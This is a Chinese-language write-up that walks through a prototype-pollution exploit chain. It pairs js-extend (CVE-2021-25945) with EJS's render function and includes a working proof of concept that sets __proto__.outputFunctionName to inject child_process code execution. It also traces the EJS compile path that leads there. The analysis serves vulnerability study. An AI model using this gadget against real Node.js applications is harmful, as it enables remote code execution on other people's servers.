ejs render原型链污染跟进分析
先放一下POC
const jsExtend = require("js-extend")
const ejs = require('ejs');
function pollution(payload){
/*
> typeof({})
'object'
*/
console.log("Before: " + {}.foo);
jsExtend.extend({}, JSON.parse(payload));
console.log("After : " + {}.foo);
}
function _render(){
let html='<%= a %>'
console.log(ejs.render(html,{a:'b'}))
}
var payload = '{"__proto__":{"foo":"bar"}}';
payload='{"__proto__":{"outputFunctionName":"不想早八"}}'
payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
pollution(payload)
_render()
首先就是触发原型链污染,用到了CVE-2021-25945(补一句,这玩意现在还能用)
const jsExtend = require("js-extend")
const ejs = require('ejs');
function pollution(payload){
/*
> typeof({})
'object'
*/
console.log("Before: " + {}.foo);
jsExtend.extend({}, JSON.parse(payload));
console.log("After : " + {}.foo);
}
var payload = '{"__proto__":{"foo":"bar"}}';
pollution(payload)
可以修改任意实例化对象属性。
然后触发点就是ejs的render函数了。先看看这个函数的一个正常的用法
function _render(){
let html='<%= a %>'
console.log(ejs.render(html,{a:'b'}))
}
_render()
//输出:b
第一个参数是template,第二个参数是data
然后开始跟进看怎么触发代码执行
node_modules/ejs/ejs.js的
从render一路到Template函数(对象)的compile方法的调用栈大致如下,删掉了一些了处理options之类的无关简要的代码
exports.render = function (template, d, o) {
var data = d || {};
var opts = o || {};
// No options object -- if there are optiony names
// in the data, copy them to options
if (arguments.length == 2) {
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
}
return handleCache(opts, template)(data);
};
function handleCache(options, template) {
func = exports.compile(template, options);
return func;
}
exports.compile = function compile(template, opts) {
var templ;
templ = new Template(template, opts);
return templ.compile();
};
所以跟一下compile函数
最终返回的函数在706行生成(returnedFn),而代码执行部分又由fn完成
662行生成了fn,代码部分参数是src,下面想办法控制src
继续跟进
看看opts的定义,空的实例化对象。好了,找到了可污染的对象
下个断点看看outputFunctionName怎么拼到fn里边的
payload='{"__proto__":{"outputFunctionName":"不想早八"}}'
构造绕一下,outputFunctionName形如x;code;x
即可ACE
payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
预防措施:不要无视npm的警告
就写那么多了,明天还有早八2333